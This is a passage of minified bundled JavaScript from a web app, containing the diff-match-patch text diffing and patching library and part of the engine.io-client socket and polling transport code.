U=u(f,E)+u(E,_);U>=j&&(j=U,C=f,z=E,H=_)}s[c-1][1]!=C&&(C?s[c-1][1]=C:(s.splice(c-1,1),c--),s[c][1]=z,H?s[c+1][1]=H:(s.splice(c+1,1),c--))}c++}},ae.nonAlphaNumericRegex_=/[^a-zA-Z0-9]/,ae.whitespaceRegex_=/\\s/,ae.linebreakRegex_=/[\\r\\n]/,ae.blanklineEndRegex_=/\\n\\r?\\n$/,ae.blanklineStartRegex_=/^\\r?\\n\\r?\\n/,ae.prototype.diff_cleanupEfficiency=function(s){for(var u=!1,c=[],f=0,E=null,_=0,S=!1,g=!1,C=!1,z=!1;_<s.length;)0==s[_][0]?(s[_][1].length<this.Diff_EditCost&&(C||z)?(c[f++]=_,S=C,g=z,E=s[_][1]):(f=0,E=null),C=z=!1):(s[_][0]==d?z=!0:C=!0,E&&(S&&g&&C&&z||E.length<this.Diff_EditCost/2&&S+g+C+z==3)&&(s.splice(c[f-1],0,new ae.Diff(d,E)),s[c[f-1]+1][0]=1,f--,E=null,S&&g?(C=z=!0,f=0):(_=--f>0?c[f-1]:-1,C=z=!1),u=!0)),_++;u&&this.diff_cleanupMerge(s)},ae.prototype.diff_cleanupMerge=function(s){s.push(new ae.Diff(0,""));for(var S,u=0,c=0,f=0,E="",_="";u<s.length;)switch(s[u][0]){case 1:f++,_+=s[u][1],u++;break;case d:c++,E+=s[u][1],u++;break;case 0:c+f>1?(0!==c&&0!==f&&(0!==(S=this.diff_commonPrefix(_,E))&&(u-c-f>0&&0==s[u-c-f-1][0]?s[u-c-f-1][1]+=_.substring(0,S):(s.splice(0,0,new ae.Diff(0,_.substring(0,S))),u++),_=_.substring(S),E=E.substring(S)),0!==(S=this.diff_commonSuffix(_,E))&&(s[u][1]=_.substring(_.length-S)+s[u][1],_=_.substring(0,_.length-S),E=E.substring(0,E.length-S))),s.splice(u-=c+f,c+f),E.length&&(s.splice(u,0,new ae.Diff(d,E)),u++),_.length&&(s.splice(u,0,new ae.Diff(1,_)),u++),u++):0!==u&&0==s[u-1][0]?(s[u-1][1]+=s[u][1],s.splice(u,1)):u++,f=0,c=0,E="",_=""}""===s[s.length-1][1]&&s.pop();var g=!1;for(u=1;u<s.length-1;)0==s[u-1][0]&&0==s[u+1][0]&&(s[u][1].substring(s[u][1].length-s[u-1][1].length)==s[u-1][1]?(s[u][1]=s[u-1][1]+s[u][1].substring(0,s[u][1].length-s[u-1][1].length),s[u+1][1]=s[u-1][1]+s[u+1][1],s.splice(u-1,1),g=!0):s[u][1].substring(0,s[u+1][1].length)==s[u+1][1]&&(s[u-1][1]+=s[u+1][1],s[u][1]=s[u][1].substring(s[u+1][1].length)+s[u+1][1],s.splice(u+1,1),g=!0)),u++;g&&this.diff_cleanupMerge(s)},ae.prototype.diff_xIndex=function(s,u){var S,c=0,f=0,E=0,_=0;for(S=0;S<s.length&&(1!==s[S][0]&&(c+=s[S][1].length),s[S][0]!==d&&(f+=s[S][1].length),!(c>u));S++)E=c,_=f;return s.length!=S&&s[S][0]===d?_:_+(u-E)},ae.prototype.diff_prettyHtml=function(s){for(var u=[],c=/&/g,f=/</g,E=/>/g,_=/\\n/g,S=0;S<s.length;S++){var g=s[S][0],z=s[S][1].replace(c,"&").replace(f,"<").replace(E,">").replace(_,"¶<br>");switch(g){case 1:u[S]=\'<ins style="background:#e6ffe6;">\'+z+"</ins>";break;case d:u[S]=\'<del style="background:#ffe6e6;">\'+z+"</del>";break;case 0:u[S]="<span>"+z+"</span>"}}return u.join("")},ae.prototype.diff_text1=function(s){for(var u=[],c=0;c<s.length;c++)1!==s[c][0]&&(u[c]=s[c][1]);return u.join("")},ae.prototype.diff_text2=function(s){for(var u=[],c=0;c<s.length;c++)s[c][0]!==d&&(u[c]=s[c][1]);return u.join("")},ae.prototype.diff_levenshtein=function(s){for(var u=0,c=0,f=0,E=0;E<s.length;E++){var S=s[E][1];switch(s[E][0]){case 1:c+=S.length;break;case d:f+=S.length;break;case 0:u+=Math.max(c,f),c=0,f=0}}return u+Math.max(c,f)},ae.prototype.diff_toDelta=function(s){for(var u=[],c=0;c<s.length;c++)switch(s[c][0]){case 1:u[c]="+"+encodeURI(s[c][1]);break;case d:u[c]="-"+s[c][1].length;break;case 0:u[c]="="+s[c][1].length}return u.join("\\t").replace(/%20/g," ")},ae.prototype.diff_fromDelta=function(s,u){for(var c=[],f=0,E=0,_=u.split(/\\t/g),S=0;S<_.length;S++){var g=_[S].substring(1);switch(_[S].charAt(0)){case"+":try{c[f++]=new ae.Diff(1,decodeURI(g))}catch{throw new Error("Illegal escape in diff_fromDelta: "+g)}break;case"-":case"=":var C=parseInt(g,10);if(isNaN(C)||C<0)throw new Error("Invalid number in diff_fromDelta: "+g);var z=s.substring(E,E+=C);"="==_[S].charAt(0)?c[f++]=new ae.Diff(0,z):c[f++]=new ae.Diff(d,z);break;default:if(_[S])throw new Error("Invalid diff operation in diff_fromDelta: "+_[S])}}if(E!=s.length)throw new Error("Delta length ("+E+") does not equal source text length ("+s.length+").");return c},ae.prototype.match_main=function(s,u,c){if(null==s||null==u||null==c)throw new Error("Null input. (match_main)");return c=Math.max(0,Math.min(c,s.length)),s==u?0:s.length?s.substring(c,c+u.length)==u?c:this.match_bitap_(s,u,c):-1},ae.prototype.match_bitap_=function(s,u,c){if(u.length>this.Match_MaxBits)throw new Error("Pattern too long for this browser.");var f=this.match_alphabet_(u),E=this;function _(ee,q){var we=ee/u.length,ce=Math.abs(c-q);return E.Match_Distance?we+ce/E.Match_Distance:ce?1:we}var S=this.Match_Threshold,g=s.indexOf(u,c);-1!=g&&(S=Math.min(_(0,g),S),-1!=(g=s.lastIndexOf(u,c+u.length))&&(S=Math.min(_(0,g),S)));var C=1<<u.length-1;g=-1;for(var z,H,U,j=u.length+s.length,G=0;G<u.length;G++){for(z=0,H=j;z<H;)_(G,c+H)<=S?z=H:j=H,H=Math.floor((j-z)/2+z);j=H;var Q=Math.max(1,c-H+1),oe=Math.min(c+H,s.length)+u.length,Ce=Array(oe+2);Ce[oe+1]=(1<<G)-1;for(var k=oe;k>=Q;k--){var K=f[s.charAt(k-1)];if(Ce[k]=0===G?(Ce[k+1]<<1|1)&K:(Ce[k+1]<<1|1)&K|(U[k+1]|U[k])<<1|1|U[k+1],Ce[k]&C){var se=_(G,k-1);if(se<=S){if(S=se,!((g=k-1)>c))break;Q=Math.max(1,2*c-g)}}}if(_(G+1,c)>S)break;U=Ce}return g},ae.prototype.match_alphabet_=function(s){for(var u={},c=0;c<s.length;c++)u[s.charAt(c)]=0;for(c=0;c<s.length;c++)u[s.charAt(c)]|=1<<s.length-c-1;return u},ae.prototype.patch_addContext_=function(s,u){if(0!=u.length){if(null===s.start2)throw Error("patch not initialized");for(var c=u.substring(s.start2,s.start2+s.length1),f=0;u.indexOf(c)!=u.lastIndexOf(c)&&c.length<this.Match_MaxBits-this.Patch_Margin-this.Patch_Margin;)c=u.substring(s.start2-(f+=this.Patch_Margin),s.start2+s.length1+f);var E=u.substring(s.start2-(f+=this.Patch_Margin),s.start2);E&&s.diffs.unshift(new ae.Diff(0,E));var _=u.substring(s.start2+s.length1,s.start2+s.length1+f);_&&s.diffs.push(new ae.Diff(0,_)),s.start1-=E.length,s.start2-=E.length,s.length1+=E.length+_.length,s.length2+=E.length+_.length}},ae.prototype.patch_make=function(s,u,c){var f,E;if("string"==typeof s&&"string"==typeof u&&typeof c>"u")(E=this.diff_main(f=s,u,!0)).length>2&&(this.diff_cleanupSemantic(E),this.diff_cleanupEfficiency(E));else if(s&&"object"==typeof s&&typeof u>"u"&&typeof c>"u")f=this.diff_text1(E=s);else if("string"==typeof s&&u&&"object"==typeof u&&typeof c>"u")f=s,E=u;else{if("string"!=typeof s||"string"!=typeof u||!c||"object"!=typeof c)throw new Error("Unknown call format to patch_make.");f=s,E=c}if(0===E.length)return[];for(var _=[],S=new ae.patch_obj,g=0,C=0,z=0,H=f,j=f,U=0;U<E.length;U++){var G=E[U][0],Q=E[U][1];switch(!g&&0!==G&&(S.start1=C,S.start2=z),G){case 1:S.diffs[g++]=E[U],S.length2+=Q.length,j=j.substring(0,z)+Q+j.substring(z);break;case d:S.length1+=Q.length,S.diffs[g++]=E[U],j=j.substring(0,z)+j.substring(z+Q.length);break;case 0:Q.length<=2*this.Patch_Margin&&g&&E.length!=U+1?(S.diffs[g++]=E[U],S.length1+=Q.length,S.length2+=Q.length):Q.length>=2*this.Patch_Margin&&g&&(this.patch_addContext_(S,H),_.push(S),S=new ae.patch_obj,g=0,H=j,C=z)}1!==G&&(C+=Q.length),G!==d&&(z+=Q.length)}return g&&(this.patch_addContext_(S,H),_.push(S)),_},ae.prototype.patch_deepCopy=function(s){for(var u=[],c=0;c<s.length;c++){var f=s[c],E=new ae.patch_obj;E.diffs=[];for(var _=0;_<f.diffs.length;_++)E.diffs[_]=new ae.Diff(f.diffs[_][0],f.diffs[_][1]);E.start1=f.start1,E.start2=f.start2,E.length1=f.length1,E.length2=f.length2,u[c]=E}return u},ae.prototype.patch_apply=function(s,u){if(0==s.length)return[u,[]];s=this.patch_deepCopy(s);var c=this.patch_addPadding(s);u=c+u+c,this.patch_splitMax(s);for(var f=0,E=[],_=0;_<s.length;_++){var C,H,S=s[_].start2+f,g=this.diff_text1(s[_].diffs),z=-1;if(g.length>this.Match_MaxBits?-1!=(C=this.match_main(u,g.substring(0,this.Match_MaxBits),S))&&(-1==(z=this.match_main(u,g.substring(g.length-this.Match_MaxBits),S+g.length-this.Match_MaxBits))||C>=z)&&(C=-1):C=this.match_main(u,g,S),-1==C)E[_]=!1,f-=s[_].length2-s[_].length1;else if(E[_]=!0,f=C-S,g==(H=u.substring(C,-1==z?C+g.length:z+this.Match_MaxBits)))u=u.substring(0,C)+this.diff_text2(s[_].diffs)+u.substring(C+g.length);else{var j=this.diff_main(g,H,!1);if(g.length>this.Match_MaxBits&&this.diff_levenshtein(j)/g.length>this.Patch_DeleteThreshold)E[_]=!1;else{this.diff_cleanupSemanticLossless(j);for(var G,U=0,Q=0;Q<s[_].diffs.length;Q++){var oe=s[_].diffs[Q];0!==oe[0]&&(G=this.diff_xIndex(j,U)),1===oe[0]?u=u.substring(0,C+G)+oe[1]+u.substring(C+G):oe[0]===d&&(u=u.substring(0,C+G)+u.substring(C+this.diff_xIndex(j,U+oe[1].length))),oe[0]!==d&&(U+=oe[1].length)}}}}return[u=u.substring(c.length,u.length-c.length),E]},ae.prototype.patch_addPadding=function(s){for(var u=this.Patch_Margin,c="",f=1;f<=u;f++)c+=String.fromCharCode(f);for(f=0;f<s.length;f++)s[f].start1+=u,s[f].start2+=u;var E=s[0],_=E.diffs;if(0==_.length||0!=_[0][0])_.unshift(new ae.Diff(0,c)),E.start1-=u,E.start2-=u,E.length1+=u,E.length2+=u;else if(u>_[0][1].length){var S=u-_[0][1].length;_[0][1]=c.substring(_[0][1].length)+_[0][1],E.start1-=S,E.start2-=S,E.length1+=S,E.length2+=S}return 0==(_=(E=s[s.length-1]).diffs).length||0!=_[_.length-1][0]?(_.push(new ae.Diff(0,c)),E.length1+=u,E.length2+=u):u>_[_.length-1][1].length&&(_[_.length-1][1]+=c.substring(0,S=u-_[_.length-1][1].length),E.length1+=S,E.length2+=S),c},ae.prototype.patch_splitMax=function(s){for(var u=this.Match_MaxBits,c=0;c<s.length;c++)if(!(s[c].length1<=u)){var f=s[c];s.splice(c--,1);for(var E=f.start1,_=f.start2,S="";0!==f.diffs.length;){var g=new ae.patch_obj,C=!0;for(g.start1=E-S.length,g.start2=_-S.length,""!==S&&(g.length1=g.length2=S.length,g.diffs.push(new ae.Diff(0,S)));0!==f.diffs.length&&g.length1<u-this.Patch_Margin;){var z=f.diffs[0][0],H=f.diffs[0][1];1===z?(g.length2+=H.length,_+=H.length,g.diffs.push(f.diffs.shift()),C=!1):z===d&&1==g.diffs.length&&0==g.diffs[0][0]&&H.length>2*u?(g.length1+=H.length,E+=H.length,C=!1,g.diffs.push(new ae.Diff(z,H)),f.diffs.shift()):(H=H.substring(0,u-g.length1-this.Patch_Margin),g.length1+=H.length,E+=H.length,0===z?(g.length2+=H.length,_+=H.length):C=!1,g.diffs.push(new ae.Diff(z,H)),H==f.diffs[0][1]?f.diffs.shift():f.diffs[0][1]=f.diffs[0][1].substring(H.length))}S=(S=this.diff_text2(g.diffs)).substring(S.length-this.Patch_Margin);var j=this.diff_text1(f.diffs).substring(0,this.Patch_Margin);""!==j&&(g.length1+=j.length,g.length2+=j.length,0!==g.diffs.length&&0===g.diffs[g.diffs.length-1][0]?g.diffs[g.diffs.length-1][1]+=j:g.diffs.push(new ae.Diff(0,j))),C||s.splice(++c,0,g)}}},ae.prototype.patch_toText=function(s){for(var u=[],c=0;c<s.length;c++)u[c]=s[c];return u.join("")},ae.prototype.patch_fromText=function(s){var u=[];if(!s)return u;for(var c=s.split("\\n"),f=0,E=/^@@ -(\\d+),?(\\d*) \\+(\\d+),?(\\d*) @@$/;f<c.length;){var _=c[f].match(E);if(!_)throw new Error("Invalid patch string: "+c[f]);var S=new ae.patch_obj;for(u.push(S),S.start1=parseInt(_[1],10),""===_[2]?(S.start1--,S.length1=1):"0"==_[2]?S.length1=0:(S.start1--,S.length1=parseInt(_[2],10)),S.start2=parseInt(_[3],10),""===_[4]?(S.start2--,S.length2=1):"0"==_[4]?S.length2=0:(S.start2--,S.length2=parseInt(_[4],10)),f++;f<c.length;){var g=c[f].charAt(0);try{var C=decodeURI(c[f].substring(1))}catch{throw new Error("Illegal escape in patch_fromText: "+C)}if("-"==g)S.diffs.push(new ae.Diff(d,C));else if("+"==g)S.diffs.push(new ae.Diff(1,C));else if(" "==g)S.diffs.push(new ae.Diff(0,C));else{if("@"==g)break;if(""!==g)throw new Error(\'Invalid patch mode "\'+g+\'" in: \'+C)}f++}}return u},ae.patch_obj=function(){this.diffs=[],this.start1=null,this.start2=null,this.length1=0,this.length2=0},ae.patch_obj.prototype.toString=function(){for(var f,c=["@@ -"+(0===this.length1?this.start1+",0":1==this.length1?this.start1+1:this.start1+1+","+this.length1)+" +"+(0===this.length2?this.start2+",0":1==this.length2?this.start2+1:this.start2+1+","+this.length2)+" @@\\n"],E=0;E<this.diffs.length;E++){switch(this.diffs[E][0]){case 1:f="+";break;case d:f="-";break;case 0:f=" "}c[E+1]=f+encodeURI(this.diffs[E][1])+"\\n"}return c.join("").replace(/%20/g," ")},At.exports=ae,At.exports.diff_match_patch=ae,At.exports.DIFF_DELETE=d,At.exports.DIFF_INSERT=1,At.exports.DIFF_EQUAL=0},851:At=>{At.exports=typeof self<"u"?self:typeof window<"u"?window:Function("return this")()},7410:(At,ae,d)=>{const n=d(3213);At.exports=(a,s)=>new n(a,s),At.exports.Socket=n,At.exports.protocol=n.protocol,At.exports.Transport=d(3330),At.exports.transports=d(1497),At.exports.parser=d(1510)},3213:(At,ae,d)=>{const n=d(1497),a=d(1264),s=d(1455)("engine.io-client:socket"),u=d(1510),c=d(1884),f=d(3257);class E extends a{constructor(g,C={}){super(),g&&"object"==typeof g&&(C=g,g=null),g?(g=c(g),C.hostname=g.host,C.secure="https"===g.protocol||"wss"===g.protocol,C.port=g.port,g.query&&(C.query=g.query)):C.host&&(C.hostname=c(C.host).host),this.secure=null!=C.secure?C.secure:typeof location<"u"&&"https:"===location.protocol,C.hostname&&!C.port&&(C.port=this.secure?"443":"80"),this.hostname=C.hostname||(typeof location<"u"?location.hostname:"localhost"),this.port=C.port||(typeof location<"u"&&location.port?location.port:this.secure?443:80),this.transports=C.transports||["polling","websocket"],this.readyState="",this.writeBuffer=[],this.prevBufferLen=0,this.opts=Object.assign({path:"/engine.io",agent:!1,withCredentials:!1,upgrade:!0,jsonp:!0,timestampParam:"t",rememberUpgrade:!1,rejectUnauthorized:!0,perMessageDeflate:{threshold:1024},transportOptions:{}},C),this.opts.path=this.opts.path.replace(/\\/$/,"")+"/","string"==typeof this.opts.query&&(this.opts.query=f.decode(this.opts.query)),this.id=null,this.upgrades=null,this.pingInterval=null,this.pingTimeout=null,this.pingTimeoutTimer=null,"function"==typeof addEventListener&&addEventListener("beforeunload",()=>{this.transport&&(this.transport.removeAllListeners(),this.transport.close())},!1),this.open()}createTransport(g){s(\'creating transport "%s"\',g);const C=function _(S){const g={};for(let C in S)S.hasOwnProperty(C)&&(g[C]=S[C]);return g}(this.opts.query);C.EIO=u.protocol,C.transport=g,this.id&&(C.sid=this.id);const z=Object.assign({},this.opts.transportOptions[g],this.opts,{query:C,socket:this,hostname:this.hostname,secure:this.secure,port:this.port});return s("options: %j",z),new n[g](z)}open(){let g;if(this.opts.rememberUpgrade&&E.priorWebsocketSuccess&&-1!==this.transports.indexOf("websocket"))g="websocket";else{if(0===this.transports.length){const C=this;return void setTimeout(function(){C.emit("error","No transports available")},0)}g=this.transports[0]}this.readyState="opening";try{g=this.createTransport(g)}catch(C){return s("error while creating transport: %s",C),this.transports.shift(),void this.open()}g.open(),this.setTransport(g)}setTransport(g){s("setting transport %s",g.name);const C=this;this.transport&&(s("clearing existing transport %s",this.transport.name),this.transport.removeAllListeners()),this.transport=g,g.on("drain",function(){C.onDrain()}).on("packet",function(z){C.onPacket(z)}).on("error",function(z){C.onError(z)}).on("close",function(){C.onClose("transport close")})}probe(g){s(\'probing transport "%s"\',g);let C=this.createTransport(g,{probe:1}),z=!1;const H=this;function j(){H.onlyBinaryUpgrades&&(z=z||!this.supportsBinary&&H.transport.supportsBinary),z||(s(\'probe transport "%s" opened\',g),C.send([{type:"ping",data:"probe"}]),C.once("packet",function(K){if(!z)if("pong"===K.type&&"probe"===K.data){if(s(\'probe transport "%s" pong\',g),H.upgrading=!0,H.emit("upgrading",C),!C)return;E.priorWebsocketSuccess="websocket"===C.name,s(\'pausing current transport "%s"\',H.transport.name),H.transport.pause(function(){z||"closed"!==H.readyState&&(s("changing transport and sending upgrade packet"),k(),H.setTransport(C),C.send([{type:"upgrade"}]),H.emit("upgrade",C),C=null,H.upgrading=!1,H.flush())})}else{s(\'probe transport "%s" failed\',g);const se=new Error("probe error");se.transport=C.name,H.emit("upgradeError",se)}}))}function U(){z||(z=!0,k(),C.close(),C=null)}function G(K){const se=new Error("probe error: "+K);se.transport=C.name,U(),s(\'probe transport "%s" failed because of error: %s\',g,K),H.emit("upgradeError",se)}function Q(){G("transport closed")}function oe(){G("socket closed")}function Ce(K){C&&K.name!==C.name&&(s(\'"%s" works - aborting "%s"\',K.name,C.name),U())}function k(){C.removeListener("open",j),C.removeListener("error",G),C.removeListener("close",Q),H.removeListener("close",oe),H.removeListener("upgrading",Ce)}E.priorWebsocketSuccess=!1,C.once("open",j),C.once("error",G),C.once("close",Q),this.once("close",oe),this.once("upgrading",Ce),C.open()}onOpen(){if(s("socket open"),this.readyState="open",E.priorWebsocketSuccess="websocket"===this.transport.name,this.emit("open"),this.flush(),"open"===this.readyState&&this.opts.upgrade&&this.transport.pause){s("starting upgrade probes");let g=0;const C=this.upgrades.length;for(;g<C;g++)this.probe(this.upgrades[g])}}onPacket(g){if("opening"===this.readyState||"open"===this.readyState||"closing"===this.readyState)switch(s(\'socket receive: type "%s", data "%s"\',g.type,g.data),this.emit("packet",g),this.emit("heartbeat"),g.type){case"open":this.onHandshake(JSON.parse(g.data));break;case"ping":this.resetPingTimeout(),this.sendPacket("pong"),this.emit("pong");break;case"error":const C=new Error("server error");C.code=g.data,this.onError(C);break;case"message":this.emit("data",g.data),this.emit("message",g.data)}else s(\'packet received with socket readyState "%s"\',this.readyState)}onHandshake(g){this.emit("handshake",g),this.id=g.sid,this.transport.query.sid=g.sid,this.upgrades=this.filterUpgrades(g.upgrades),this.pingInterval=g.pingInterval,this.pingTimeout=g.pingTimeout,this.onOpen(),"closed"!==this.readyState&&this.resetPingTimeout()}resetPingTimeout(){clearTimeout(this.pingTimeoutTimer),this.pingTimeoutTimer=setTimeout(()=>{this.onClose("ping timeout")},this.pingInterval+this.pingTimeout)}onDrain(){this.writeBuffer.splice(0,this.prevBufferLen),this.prevBufferLen=0,0===this.writeBuffer.length?this.emit("drain"):this.flush()}flush(){"closed"!==this.readyState&&this.transport.writable&&!this.upgrading&&this.writeBuffer.length&&(s("flushing %d packets in socket",this.writeBuffer.length),this.transport.send(this.writeBuffer),this.prevBufferLen=this.writeBuffer.length,this.emit("flush"))}write(g,C,z){return this.sendPacket("message",g,C,z),this}send(g,C,z){return this.sendPacket("message",g,C,z),this}sendPacket(g,C,z,H){if("function"==typeof C&&(H=C,C=void 0),"function"==typeof z&&(H=z,z=null),"closing"===this.readyState||"closed"===this.readyState)return;(z=z||{}).compress=!1!==z.compress;const j={type:g,data:C,options:z};this.emit("packetCreate",j),this.writeBuffer.push(j),H&&this.once("flush",H),this.flush()}close(){const g=this;function C(){g.onClose("forced close"),s("socket closing - telling transport to close"),g.transport.close()}function z(){g.removeListener("upgrade",z),g.removeListener("upgradeError",z),C()}function H(){g.once("upgrade",z),g.once("upgradeError",z)}return("opening"===this.readyState||"open"===this.readyState)&&(this.readyState="closing",this.writeBuffer.length?this.once("drain",function(){this.upgrading?H():C()}):this.upgrading?H():C()),this}onError(g){s("socket error %j",g),E.priorWebsocketSuccess=!1,this.emit("error",g),this.onClose("transport error",g)}onClose(g,C){if("opening"===this.readyState||"open"===this.readyState||"closing"===this.readyState){s(\'socket close with reason: "%s"\',g);const z=this;clearTimeout(this.pingIntervalTimer),clearTimeout(this.pingTimeoutTimer),this.transport.removeAllListeners("close"),this.transport.close(),this.transport.removeAllListeners(),this.readyState="closed",this.id=null,this.emit("close",g,C),z.writeBuffer=[],z.prevBufferLen=0}}filterUpgrades(g){const C=[];let z=0;const H=g.length;for(;z<H;z++)~this.transports.indexOf(g[z])&&C.push(g[z]);return C}}E.priorWebsocketSuccess=!1,E.protocol=u.protocol,At.exports=E},3330:(At,ae,d)=>{const n=d(1510),a=d(1264),s=d(1455)("engine.io-client:transport");At.exports=class u extends a{constructor(f){super(),this.opts=f,this.query=f.query,this.readyState="",this.socket=f.socket}onError(f,E){const _=new Error(f);return _.type="TransportError",_.description=E,this.emit("error",_),this}open(){return("closed"===this.readyState||""===this.readyState)&&(this.readyState="opening",this.doOpen()),this}close(){return("opening"===this.readyState||"open"===this.readyState)&&(this.doClose(),this.onClose()),this}send(f){"open"===this.readyState?this.write(f):s("transport is not open, discarding packets")}onOpen(){this.readyState="open",this.writable=!0,this.emit("open")}onData(f){const E=n.decodePacket(f,this.socket.binaryType);this.onPacket(E)}onPacket(f){this.emit("packet",f)}onClose(){this.readyState="closed",this.emit("close")}}},1497:(At,ae,d)=>{const n=d(3035),a=d(2889),s=d(6029),u=d(3909);ae.polling=function c(f){let E,_=!1,S=!1;const g=!1!==f.jsonp;if(typeof location<"u"){const C="https:"===location.protocol;let z=location.port;z||(z=C?443:80),_=f.hostname!==location.hostname||z!==f.port,S=f.secure!==C}if(f.xdomain=_,f.xscheme=S,E=new n(f),"open"in E&&!f.forceJSONP)return new a(f);if(!g)throw new Error("JSONP disabled");return new s(f)},ae.websocket=u},6029:(At,ae,d)=>{const n=d(3904),a=d(851),s=/\\n/g,u=/\\\\n/g;let c;At.exports=class f extends n{constructor(_){super(_),this.query=this.query||{},c||(c=a.___eio=a.___eio||[]),this.index=c.length;const S=this;c.push(function(g){S.onData(g)}),this.query.j=this.index}get supportsBinary(){return!1}doClose(){this.script&&(this.script.onerror=()=>{},this.script.parentNode.removeChild(this.script),this.script=null),this.form&&(this.form.parentNode.removeChild(this.form),this.form=null,this.iframe=null),super.doClose()}doPoll(){const _=this,S=document.createElement("script");this.script&&(this.script.parentNode.removeChild(this.script),this.script=null),S.async=!0,S.src=this.uri(),S.onerror=function(z){_.onError("jsonp poll error",z)};const g=document.getElementsByTagName("script")[0];g?g.parentNode.insertBefore(S,g):(document.head||document.body).appendChild(S),this.script=S,typeof navigator<"u"&&/gecko/i.test(navigator.userAgent)&&setTimeout(function(){const z=document.createElement("iframe");document.body.appendChild(z),document.body.removeChild(z)},100)}doWrite(_,S){const g=this;let C;if(!this.form){const j=document.createElement("form"),U=document.createElement("textarea"),G=this.iframeId="eio_iframe_"+this.index;j.className="socketio",j.style.position="absolute",j.style.top="-1000px",j.style.left="-1000px",j.target=G,j.method="POST",j.setAttribute("accept-charset","utf-8"),U.name="d",j.appendChild(U),document.body.appendChild(j),this.form=j,this.area=U}function z(){H(),S()}function H(){if(g.iframe)try{g.form.removeChild(g.iframe)}catch(j){g.onError("jsonp polling iframe removal error",j)}try{C=document.createElement(\'<iframe src="javascript:0" name="\'+g.iframeId+\'">\')}catch{C=document.createElement("iframe"),C.name=g.iframeId,C.src="javascript:0"}C.id=g.iframeId,g.form.appendChild(C),g.iframe=C}this.form.action=this.uri(),H(),_=_.replace(u,"\\\\\\n"),this.area.value=_.replace(s,"\\\\n");try{this.form.submit()}catch{}this.iframe.attachEvent?this.iframe.onreadystatechange=function(){"complete"===g.iframe.readyState&&z()}:this.iframe.onload=z}}},2889:(At,ae,d)=>{const n=d(3035),a=d(3904),s=d(1264),{pick:u}=d(5028),c=d(851),f=d(1455)("engine.io-client:polling-xhr");function E(){}const _=null!=new n({xdomain:!1}).responseType;let g=(()=>{class z extends s{constructor(j,U){super(),this.opts=U,this.method=U.method||"GET",this.uri=j,this.async=!1!==U.async,this.data=void 0!==U.data?U.data:null,this.create()}create(){const j=u(this.opts,"agent","enablesXDR","pfx","key","passphrase","cert","ca","ciphers","rejectUnauthorized");j.xdomain=!!this.opts.xd,j.xscheme=!!this.opts.xs;const U=this.xhr=new n(j),G=this;try{f("xhr open %s: %s",this.method,this.uri),U.open(this.method,this.uri,this.async);try{if(this.opts.extraHeaders){U.setDisableHeaderCheck&&U.setDisableHeaderCheck(!0);for(let Q in this.opts.extraHeaders)this.opts.extraHeaders.hasOwnProperty(Q)&&U.setRequestHeader(Q,this.opts.extraHeaders[Q])}}catch{}if("POST"===this.method)try{U.setRequestHeader("Content-type","text/plain;charset=UTF-8")}catch{}try{U.setRequestHeader("Accept","*/*")}catch{}"withCredentials"in U&&(U.withCredentials=this.opts.withCredentials),this.opts.requestTimeout&&(U.timeout=this.opts.requestTimeout),this.hasXDR()?(U.onload=function(){G.onLoad()},U.onerror=function(){G.onError(U.responseText)}):U.onreadystatechange=function(){4===U.readyState&&(200===U.status||1223===U.status?G.onLoad():setTimeout(function(){G.onError("number"==typeof U.status?U.status:0)},0))},f("xhr data %s",this.data),U.send(this.data)}catch(Q){return void setTimeout(function(){G.onError(Q)},0)}typeof document<"u"&&(this.index=z.requestsCount++,z.requests[this.index]=this)}onSuccess(){this.emit("success"),this.cleanup()}onData(j){this.emit("data",j),this.onSuccess()}onError(j){this.emit("error",j),this.cleanup(!0)}cleanup(j){if(!(typeof this.xhr>"u"||null===this.xhr)){if(this.hasXDR()?this.xhr.onload=this.xhr.onerror=E:this.xhr.onreadystatechange=E,j)try{this.xhr.abort()}catch{}typeof document<"u"&&delete z.requests[this.index],this.xhr=null}}onLoad(){const j=this.xhr.responseText;null!==j&&this.onData(j)}hasXDR(){return typeof XDomainRequest<"u"&&!this.xs&&this.enablesXDR}abort(){this.cleanup()}}return z.requestsCount=0,z.requests={},z})();function C(){for(let z in g.requests)g.requests.hasOwnProperty(z)&&g.requests[z].abort()}typeof document<"u"&&("function"==typeof attachEvent?attachEvent("onunload",C):"function"==typeof addEventListener&&addEventListener("onpagehide"in c?"pagehide":"unload",C,!1)),At.exports=class S extends a{constructor(H){if(super(H),typeof location<"u"){const U="https:"===location.protocol;let G=location.port;G||(G=U?443:80),this.xd=typeof location<"u"&&H.hostname!==location.hostname||G!==H.port,this.xs=H.secure!==U}this.supportsBinary=_&&!(H&&H.forceBase64)}request(H={}){return Object.assign(H,{xd:this.xd,xs:this.xs},this.opts),new g(this.uri(),H)}doWrite(H,j){const U=this.request({method:"POST",data:H}),G=this;U.on("success",j),U.on("error",function(Q){G.onError("xhr post error",Q)})}doPoll(){f("xhr poll");const H=this.request(),j=this;H.on("data",function(U){j.onData(U)}),H.on("error",function(U){j.onError("xhr poll error",U)}),this.pollXhr=H}},At.exports.Request=g},3904:(At,ae,d)=>{const n=d(3330),a=d(3257),s=d(1510),u=d(1067),c=d(1455)("engine.io-client:polling");At.exports=class f extends n{get name(){return"polling"}doOpen(){this.poll()}pause(_){const S=this;function g(){c("paused"),S.readyState="paused",_()}if(this.readyState="pausing",this.polling||!this.writable){let C=0;this.polling&&(c("we are currently polling - waiting to pause"),C++,this.once("pollComplete",function(){c("pre-pause polling complete"),--C||g()})),this.writable||(c("we are currently writing - waiting to pause"),C++,this.once("drain",function(){c("pre-pause writing complete"),--C||g()}))}else g()}poll(){c("polling"),this.polling=!0,this.doPoll(),this.emit("poll")}onData(_){const S=this;c("polling got data %s",_),s.decodePayload(_,this.socket.binaryType).forEach(function(C,z,H){if("opening"===S.readyState&&"open"===C.type&&S.onOpen(),"close"===C.type)return S.onClose(),!1;S.onPacket(C)}),"closed"!==this.readyState&&(this.polling=!1,this.emit("pollComplete"),"open"===this.readyState?this.poll():c(\'ignoring poll - transport state "%s"\',this.readyState))}doClose(){const _=this;function S(){c("writing close packet"),_.write([{type:"close"}])}"open"===this.readyState?(c("transport open - closing"),S()):(c("transport not open - deferring close"),this.once("open",S))}write(_){this.writable=!1,s.encodePayload(_,S=>{this.doWrite(S,()=>{this.writable=!0,this.emit("drain")})})}uri(){let _=this.query||{};const S=this.opts.secure?"https":"http";let 